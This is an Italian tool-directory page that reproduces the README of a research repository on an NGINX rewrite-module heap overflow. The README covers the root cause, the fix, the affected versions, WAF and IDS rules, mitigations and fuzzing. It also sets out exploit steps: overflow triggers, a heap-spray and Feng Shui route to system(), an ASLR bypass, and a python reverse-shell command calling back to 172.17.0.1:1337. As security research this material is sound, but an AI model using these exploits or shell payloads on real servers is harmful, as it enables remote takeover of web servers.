Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-42945 — Repository di ricerca completo su CVE-2026-42945 con analisi dell'heap buffer overflow, exploit RCE (heap spray + Feng Shui), script di rilevamento e indicazioni per il patching della vulnerabilità del modulo rewrite di NGINX. | Kitploit
Strumenti/GitHubGitHub/quantumworld-dpdns-io/cve-2026-42945
Analisi delle VulnerabilitàExploitSicurezza WebFuzzingPenetration TestingApprendimento e FormazioneRisposta agli IncidentiBinary ExploitationLab e Pratica
GitHubquantumworld-dpdns-io/cve-2026-42945

CVE-2026-42945

Repository di ricerca completo su CVE-2026-42945 con analisi dell'heap buffer overflow, exploit RCE (heap spray + Feng Shui), script di rilevamento e indicazioni per il patching della vulnerabilità del modulo rewrite di NGINX.

Vedi Repository
13 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Screenshot 2026-05-28 at 4 09 53 PM

CVE-2026-42945 — NGINX Rift

Overflow del buffer heap in NGINX ngx_http_rewrite_module

MetricaValore
CVSS v4.09.2 (Critico)
CVSS v3.18.1 (Alto) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE122 — Overflow del buffer basato su heap
IntrodottaGiugno 2008 — v0.6.27
ScopertaAprile 2026 — DepthFirst Research
Corretta13 maggio 2026 — v1.30.1, v1.31.0
Pubblicazione CVE21 maggio 2026
Durata~18 anni (non rilevata)
Commit di correzione524977e7c534e87e5b55739fa74601c9f1102686

Indice

  1. Riepilogo della vulnerabilità
  2. Analisi della causa principale
  3. Meccaniche di sfruttamento
  4. Analisi della correzione
  5. Versioni interessate
  6. Rilevamento
  7. Mitigazione
  8. Struttura del progetto
  9. Avvio rapido
  10. Compilazione ed esecuzione dell'ambiente vulnerabile
  11. Innescare l'overflow
  12. Exploit RCE
  13. Verifica della reverse shell
  14. Applicazione della patch
  15. Test
  16. Fuzzing
  17. Pipeline CI
  18. Indice della documentazione
  19. Statistiche del progetto
  20. Riferimenti

1. Riepilogo della vulnerabilità

Un attaccante remoto non autenticato può innescare un overflow del buffer heap deterministico nei processi worker di NGINX inviando una richiesta HTTP appositamente predisposta a un server con una specifica configurazione di rewrite + set/if/rewrite. L'overflow corrompe i metadati dell'heap (puntatori ngx_pool_cleanup_t), consentendo Remote Code Execution (RCE) tramite tecniche di heap spray e Feng Shui.

Pattern di attivazione```nginx

server { listen 19321;

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

}

root@kitploit:~
**Requisiti chiave:**
- Una direttiva `rewrite` la cui sostituzione contiene `?` (separatore di query-string)
- Una successiva direttiva `set`, `if` o `rewrite` che fa riferimento a una **cattura PCRE senza nome** (`$1`, `$2`, ecc.)
- Il `?` nella sostituzione della `rewrite` attiva `ngx_http_script_start_args_code` che imposta `e->is_args = 1`

### Cosa può ottenere un attaccante

| Capacità | Descrizione |
|-----------|-------------|
| **Denial of Service** | Crash deterministico dei processi worker, causando cicli di respawn (funziona indipendentemente dall'ASLR) |
| **Remote Code Execution** | Con ASLR disabilitato (o bypassato tramite sovrascrittura parziale), raggiungere RCE completa come utente nginx |
| **Esfiltrazione di dati** | Attraverso primitive di lettura della memoria, estrarre dati sensibili dall'heap dei worker |
| **Persistenza** | Installare backdoor tramite l'esecuzione di codice nella memoria dei processi worker |

---

## 2. Analisi della causa principale

### Il motore di script a due passaggi

Il modulo `ngx_http_rewrite_module` di NGINX utilizza un **motore di script a due passaggi** in `src/http/ngx_http_script.c`:

1. **Passaggio di lunghezza** (`ngx_http_script_run`): itera su tutti i codici di script per calcolare la dimensione totale del buffer necessaria. Scrive le lunghezze in `le.ip` e `le.pos`.
2. **Passaggio di copia** (`ngx_http_script_copy_len`/`_code`): itera nuovamente, scrivendo i byte effettivi nel buffer pre-allocato in `e->ip` e `e->pos`.

Ogni codice di script ha due handler: uno per ciascun passaggio. Per esempio:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`

### Il flag `is_args`

Il flag `e->is_args` sulla **struttura del motore** (`ngx_http_script_engine_t`) controlla come il passaggio di copia gestisce determinati caratteri:```c
typedef struct {
    u_char                  *ip;
    u_char                  *pos;
    ngx_http_variable_value_t *sp;
    ngx_str_t               buf;
    int                     flushed;
    unsigned                is_args:1;    // <-- THE BUG
    unsigned                ncaptures:1;
    ngx_uint_t              captures_size;
    // ...
} ngx_http_script_engine_t;

Quando e->is_args = 1, il codice di copia per i riferimenti di cattura $N chiama ngx_escape_uri() con NGX_ESCAPE_ARGS, che espande:

  • + → %2B (1 byte → 3 byte, +200%)
  • % → %25 (1 byte → 3 byte, +200%)
  • & → %26 (1 byte → 3 byte, +200%)

Il bug: perdita del flag tra le passate

Il flusso di esecuzione per il pattern vulnerabile:``` rewrite ^/api/(.*)$ /internal?migrated=true;

root@kitploit:~
1. Durante la **valutazione della riscrittura**, il motore incontra `?` nella stringa di sostituzione, che attiva `ngx_http_script_start_args_code`, impostando `e->is_args = 1`.
2. La riscrittura modifica l'URI della richiesta e poi continua alla direttiva successiva.
3. **`e->is_args` NON VIENE MAI AZZERATO**.

Quindi:```
set $original_endpoint $1;
  1. Un nuovo sotto-motore (le) viene creato per il passaggio di lunghezza: ```c ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
    root@kitploit:~

Questo azzera correttamente le.is_args = 0, quindi il passaggio di lunghezza restituisce la lunghezza di cattura grezza, non escapata.

  1. Il passaggio di copia riutilizza il motore principale e, che ha ancora e->is_args = 1 dal passaggio 1. Il passaggio di copia applica l'URI-escaping, espandendo ogni carattere escapabile da 1 byte a 3 byte all'interno di un buffer dimensionato per la lunghezza grezza — heap overflow.

Spiegazione Visiva```

Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7

Buffer allocated: 7 bytes

Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes

root@kitploit:~
Il rapporto di espansione è `7 + (n_escapable * 2)` dove `n_escapable` è il conteggio di `+`, `%` e `&` nella cattura.

---

## 3. Meccaniche di sfruttamento

### Panoramica

| Step | Tecnica | Descrizione |
|------|---------|-------------|
| 1 | Overflow | Invia URI modificato con padding `+` per far overfloware il buffer heap |
| 2 | Heap Spray | POST di corpi grandi a `/spray` per riempire l'heap con dati controllati |
| 3 | Feng Shui | Disporre le allocazioni in modo che il bersaglio dell'overflow (`ngx_pool_cleanup_t`) sia adiacente |
| 4 | Corrompi handler | L'overflow sovrascrive `ngx_pool_cleanup_t.handler` con l'indirizzo di `system()` |
| 5 | Attiva cleanup | Attendi la distruzione del pool → `system(cmd)` esegue il comando dell'attaccante |
| 6 | Reverse shell | Collega a un payload di reverse shell per accesso interattivo |

### Feng Shui tra richieste

**Il Feng Shui a singola richiesta fallisce** perché l'overflow corrompe i metadati del pool (`->d.next`, `->d.failed`) prima di raggiungere il puntatore `cleanup`. Quando il pool viene distrutto alla fine della richiesta, i metadati corrotti causano un **crash prima che `system()` venga chiamato**.

Invece, l'exploit usa il **Feng Shui tra richieste**:
1. **Richiesta 1 (spray)**: POST di un corpo grande a `/spray`. Il backend (`server.py`) mantiene la risposta con l'header `X-Delay`, tenendo aperta la connessione e preservando l'allocazione heap. Lo spray riempie l'heap con blocchi fittizi `ngx_pool_cleanup_t`.
2. **Richiesta 2 (overflow)**: Invia l'URI di overflow. L'overflow corrompe solo il puntatore `cleanup` (non i metadati del pool), puntandolo al blocco fittizio creato dallo spray.
3. **Distruzione del pool**: Quando la risposta dello spray termina (il ritardo scade), la catena di cleanup del pool raggiunge il blocco fittizio e chiama `system(cmd)`.

### Requisiti di indirizzo

| Simbolo | Valore (Docker, ASLR disattivato) | Descrizione |
|---------|-----------------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | Base dell'heap di nginx |
| `system@libc` | `0x7ffff6f6e420` | `system()` in glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | Puntatore al pool dei cicli |
| Indirizzo cleanup fittizio | `0x5555556a4030` | Indirizzo bersaglio dello spray |

### Bypass di ASLR

Senza disabilitare ASLR, il **DoS** (crash) funziona comunque deterministicamente. Per RCE con ASLR abilitato, due approcci:

1. **Overwrite parziale**: Usa un overwrite di 1 o 2 byte per spostare un puntatore all'interno della stessa pagina, provando brute-force sui nibble rimanenti (16–256 tentativi).
2. **Fuga di informazioni**: Leggi `/proc/self/maps` o usa l'analisi della memoria di `log_parser.py` per determinare il layout.

---

## 4. Analisi della correzione

### La correzione ufficiale

**Commit**: `524977e7c534e87e5b55739fa74601c9f1102686`  
**File**: `src/http/ngx_http_script.c`  
**Riga**: ~1205 (in `ngx_http_script_regex_end_code`)```diff
 void
 ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
 {
     ngx_http_script_regex_code_t *code;

     code = (ngx_http_script_regex_code_t *) e->ip;

+    e->is_args = 0;    /* ← THE FIX */

     e->ip += sizeof(ngx_http_script_regex_code_t);
     // ...
 }

Perché questa posizione è corretta

ngx_http_script_regex_end_code viene eseguito dopo ogni valutazione dell'espressione regolare sia durante il passaggio di lunghezza che quello di copia. Reimpostare e->is_args = 0 qui garantisce:

  • Il flag viene azzerato immediatamente dopo che il codice dell'espressione regolare termina l'esecuzione
  • I successivi codici di script (set, if, rewrite) partono con un is_args = 0 pulito
  • ngx_http_script_start_args_code può ancora impostare is_args = 1 quando incontra ? in una stringa di sostituzione — la correzione non rompe questa funzionalità

Patch difensiva in profondità

patches/0002-hardening-bounds-check.patch aggiunge un controllo dei limiti in ngx_http_script_copy_capture_code:```c if (e->pos + len > e->buf.data + e->buf.len) { return; /* gracefully truncate instead of overflowing */ }

root@kitploit:~
### Patch di Backport

| Patch | Versioni Nginx |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |

---

## 5. Versioni interessate

### NGINX Open Source

| Intervallo | Stato |
|-------|--------|
| **0.1.0 – 0.6.26** | Non interessato (il modulo rewrite precede le catture senza nome) |
| **0.6.27 – 1.30.0** | **Vulnerabile** (finestra di 18 anni) |
| **1.30.1** | Prima versione corretta |
| **1.31.0+** | Corretta (mainline) |

### NGINX Plus

| Release | Interessata | Corretta |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |

### Ecosistema NGINX

| Prodotto | Interessato | Stato |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | Advisory in sospeso |
| F5 NGINX WAF | 5.9.0–5.12.1 | Advisory in sospeso |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | Advisory in sospeso |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | Advisory in sospeso |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | Advisory in sospeso |
| NGINX Agent | 2.0.0–2.35.0 | Advisory in sospeso |

---

## 6. Rilevamento

### Controllo versione```bash
bash detection/detect_vuln.sh

Questo script controlla:

  • La versione di NGINX rispetto all'intervallo vulnerabile (0.6.27–1.30.0)
  • I file di configurazione per il pattern vulnerabile rewrite + ? + capture

Scanner di configurazione```bash

Scan a single config

python3 exploit/config_scanner.py /etc/nginx/nginx.conf

Scan all configs in a directory

python3 exploit/config_scanner.py /etc/nginx/

Fix vulnerable patterns (convert to named captures)

python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix

root@kitploit:~
### Scansione dei container```bash
python3 detection/container_scan.py

Esegue la scansione delle immagini Docker locali per etichette/variabili d'ambiente NGINX che indicano versioni vulnerabili.

Regole WAF

Set di regoleFileCopertura
ModSecuritydetection/modsecurity_rule.confBlocca 100+ + consecutivi, 50+ caratteri escapabili codificati, limita la frequenza degli endpoint di spray
Suricata/Snortdetection/suricata_rule.rulesRileva eccesso di + nelle URI GET, flood di caratteri codificati, POST spray verso /spray, DoS con crash-loop
Falcodetection/falco_rule.yamlRuntime: SIGSEGV sul worker nginx, crash loop (3+ in 60s), rilevamento di heap spray tramite POST

Analisi dei Log```bash

Parse error log for crash and exploit indicators

python3 exploit/log_parser.py /var/log/nginx/error.log

Watch mode (tail -f equivalent)

python3 exploit/log_parser.py /var/log/nginx/error.log --watch

root@kitploit:~
---

## 7. Mitigazione

### Immediata (Nessuna Modifica al Codice)

Sostituisci le **catture senza nome** con **catture con nome** in tutte le direttive `rewrite`:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;

# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;

Le catture nominate non passano attraverso ngx_escape_uri(..., NGX_ESCAPE_ARGS), quindi anche con e->is_args = 1, non avviene alcuna espansione e non si verifica alcun overflow.

Rafforzamento della configurazione```bash

bash detection/harden_nginx.sh /etc/nginx/nginx.conf

root@kitploit:~
Applica queste misure di hardening:
- Verifica ASLR e abilitazione forzata
- Isolamento dei processi worker
- Restrizione dei core dump
- Hardening SSL/TLS
- Rate limiting
- Header CSP

### Verifica ASLR```bash
bash detection/check_aslr.sh

8. Struttura del Progetto```

CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline

root@kitploit:~
---

## 9. Avvio rapido```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up

# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}

# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓

# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓

# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned

# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf

10. Build & Run Vulnerabile

Docker (Consigliato)```bash

Using Makefile

make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up

Or directly

cd docker && docker compose up --build

root@kitploit:~
L'ambiente Docker:
- Compila NGINX dal sorgente al commit `98fc3bb78` (ultimo commit vulnerabile prima della correzione)
- Include GDB, valgrind, `util-linux` (per `setarch -R` per disabilitare ASLR)
- Espone le porte **19321** (nginx vulnerabile), **19322** (secondaria), **19323** (backend Python)
- L'entrypoint usa `setarch x86_64 -R` per disabilitare ASLR per un layout di indirizzi dell'exploit deterministico
- Concede la capability `SYS_PTRACE` e `seccomp=unconfined` per il debug

### Solo Vulnerabile```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
#   -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/

Contenitore Patchato```bash

make fix-container

Builds: docker build -t nginx-rift-fixed \

-f docker/Dockerfile.patched --build-arg NGINX_TYPE=patched docker/

root@kitploit:~
### ASAN Container```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/

Build manuale```bash

git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx

root@kitploit:~
## 11. Innescare l'overflow

### Crash di base (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969

Questo invia:``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1

root@kitploit:~
I caratteri `+` nella cattura `$1` vengono espansi di 3× durante il passaggio di copia mentre il buffer era dimensionato per la lunghezza grezza, causando un overflow dell'heap.

### Output previsto```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned

Trovare l'overflow minimo```bash

python3 exploit/escape_calc.py --find-min 64

root@kitploit:~
Calcola il numero minimo di segni `+` necessari per causare l'overflow di un numero target di byte (utile quando si sfruttano specifiche strutture heap).

### Espansione dei caratteri```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969

Restituisce il rapporto di espansione per una data lunghezza del prefisso e numero di caratteri escapabili.


12. RCE Exploit

Panoramica

L'exploit implementa cross-request Feng Shui per ottenere un'esecuzione di codice affidabile:``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►

root@kitploit:~
### Uso base```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

Reverse Shell```bash

python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3

root@kitploit:~
### Opzioni avanzate

| Flag | Default | Descrizione |
|------|---------|-------------|
| `--host` | `127.0.0.1` | Host di destinazione |
| `--port` | `19321` | Porta di destinazione |
| `--cmd` | — | Comando da eseguire (richiesto a meno che non si usi `--shell`) |
| `--shell` | — | Usa la modalità shell interattiva |
| `--tries` | `3` | Numero di tentativi di exploit |
| `--delay` | `2.0` | Ritardo tra spray e overflow (secondi) |
| `--payload` | — | Percorso del file payload personalizzato |
| `--debug` | — | Abilita output di debug dettagliato |

### Analisi del layout dell'heap```bash
python3 exploit/heap_layout.py

Richiede un PID di un worker nginx in esecuzione. Analizza /proc/PID/maps per trovare:

  • Indirizzo di base dell'heap
  • Indirizzo di base della libc
  • Indirizzo della funzione system()

Safe Address Finder```bash

python3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5

root@kitploit:~
Trova indirizzi heap i cui byte non includono caratteri escapabili (`+`, `%`, `&`, `?`, ecc.) per l'uso nella costruzione di payload di exploit.

---

## 13. Verifica della Reverse Shell

### Architettura```
shell_manager.py
  │
  ├── shell_payloads.py    → Generate payload strings for 10 shell types
  ├── shell_listener.py    → Start TCP listener (interactive + verify mode)
  ├── exploit/exploit.py   → Send exploit with payload to target
  └── shell_verify.py      → Wait for connection, run commands, verify output

Tipi di Shell Supportati

TipoBinarioNote
bash/dev/tcpTCP integrato di bash
pythonpython3 -cIl più affidabile, sempre disponibile
ncncNetcat
perlperl -e
rubyruby -rsocket -e
phpphp -r
socatsocat
telnettelnet
opensslopenssl s_clientRichiede certificato
powershellpowershellTarget Windows

Listener Interattivo```bash

Terminal 1: Start interactive listener

python3 shell/shell_listener.py --port 1337

Terminal 2: Run exploit with reverse shell

python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"

root@kitploit:~
### Verifica Automatica```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
    --shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"

# Full pipeline across all shell types
bash shell/shell_test_runner.sh

# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
    --shell-type python --listen-port 1337 --callback-ip 172.17.0.1

Genera Payloads```bash

python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list

root@kitploit:~
---

## 14. Applicazione della patch

### Applicare la correzione```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch

# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch

Applica fix + hardening```bash

bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch

root@kitploit:~
### Applica Backport```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch

Verifica la correzione```bash

Check that the fix contains the key line

grep 'is_args = 0' patches/0001-fix-is_args.patch

Dry-run apply

patch -p1 --dry-run -i patches/0001-fix-is_args.patch

root@kitploit:~
---

## 15. Test

### Test unitari```bash
# Via Makefile
make test

# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v

Suite di test (Shell)```bash

bash test/run_tests.sh

root@kitploit:~
Esecuzioni:
1. Test unitari (pytest o unittest)
2. Test di trigger/overflow (se il server è in esecuzione)
3. Scanner di configurazione su configurazioni vulnerabili e sicure
4. Validazione patch in dry-run

### Matrice di regressione```bash
bash tools/regression_matrix.sh

Testa più versioni di NGINX (1.22.0, 1.24.0, 1.26.0, 1.30.0, 1.30.1) con configurazioni vulnerabili e sicure, verificando le aspettative di crash/non-crash.

Matrice di configurazione```bash

bash tools/test_all_configs.sh

root@kitploit:~
Testa tutti i pattern di configurazione (basic, advanced, ingress, gateway) con trigger di overflow.

---

## 16. Fuzzing

### libFuzzer Harness

Il fuzzer (`fuzz/ngx_http_script_fuzz.c`) simula il motore di script a due passate:
1. Analizza l'input come una sequenza di codici script
2. Esegue la passata di lunghezza
3. Esegue la passata di copia con `e->is_args = 1`
4. Rileva overflow del buffer tramite ASAN o mismatch di dimensione```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/

AFL++```bash

bash tools/afl_runner.sh

root@kitploit:~
Lancia AFL++ con ASAN, timeout configurabile e limiti di memoria contro l'harness di fuzzing.

### Corpus di seed

La directory `fuzz/corpus/` contiene input seed che riproducono il pattern vulnerabile, tra cui:
- Trigger di overflow di base
- Cattura nominata (non dovrebbe causare overflow)
- Casi limite (cattura vuota, dimensione massima, ecc.)

---

## 17. Pipeline CI

### GitHub Actions

Il progetto utilizza un **singolo workflow CI di GitHub Actions** (`.github/workflows/ci.yml`) con questi job:

| Job | Cosa fa |
|-----|-------------|
| `lint` | ShellCheck, validazione della sintassi Python |
| `scan-configs` | Esegue config_scanner.py su tutti i campioni di configurazione |
| `fuzz-build` | Compila l'harness libFuzzer |
| `test` | Esegue la suite pytest/unittest |
| `detect-patch` | Verifica il formato della patch e il contenuto del fix |
| `verify-project` | Esegue `tools/verify_project.sh` |

### Pipeline completa```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh

# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker

La pipeline esegue 7 fasi:

  1. Preflight — Controlla i prerequisiti (python3, curl, docker, docker-compose)
  2. Sintassi e linting — Compilazione Python, ShellCheck
  3. Analisi statica — Scanner di configurazione, calcolo escape, layout dell'heap, indirizzi sicuri
  4. Avvio dell'ambiente — Compila e avvia i container Docker
  5. Test live — Health check, trigger dell'overflow, monitor del worker, formato della patch
  6. Verifica della reverse shell — Generazione payload, listener dry-run, verifica automatizzata
  7. Verifica del progetto — Controllo completo di integrità dei file e sintassi

18. Indice della documentazione

DocumentoDescrizione
docs/root-cause-analysis.mdAnalisi tecnica approfondita del bug del motore script a due passaggi, con analisi del codice e diagrammi
docs/exploitation-guide.mdSfruttamento passo-passo, heap spray, Feng Shui, calcolo degli indirizzi, bypass di ASLR
docs/detection-guide.mdScansione della configurazione, analisi dei log, regole WAF, integrazione SIEM, rilevamento delle anomalie
docs/mitigation-guide.mdConversione delle catture con nome, limitazione della frequenza, distribuzione del WAF, procedure di aggiornamento
docs/FAQ.mdDomande frequenti su vulnerabilità, sfruttamento e misure correttive
docs/timeline.mdCronologia di divulgazione completa dall'introduzione del bug nel 2008 fino alla correzione nel 2026
docs/operational-guidance.mdRisposta agli incidenti, analisi forense, raccolta di IOC, mitigazione di emergenza
docs/case-study.mdSimulazione di uno scenario di attacco reale con analisi della kill chain
docs/presentation-slides.mdPresentazione per conferenze/meetup con note del relatore

19. Statistiche del progetto

MetricaValore
File totali80+
Directory13 (docker, exploit, shell, patches, configs, detection, fuzz, test, docs, tools, pipelines, .github/workflows, configs/advanced)
Script Python22 (exploit, detection, tools, shell, test)
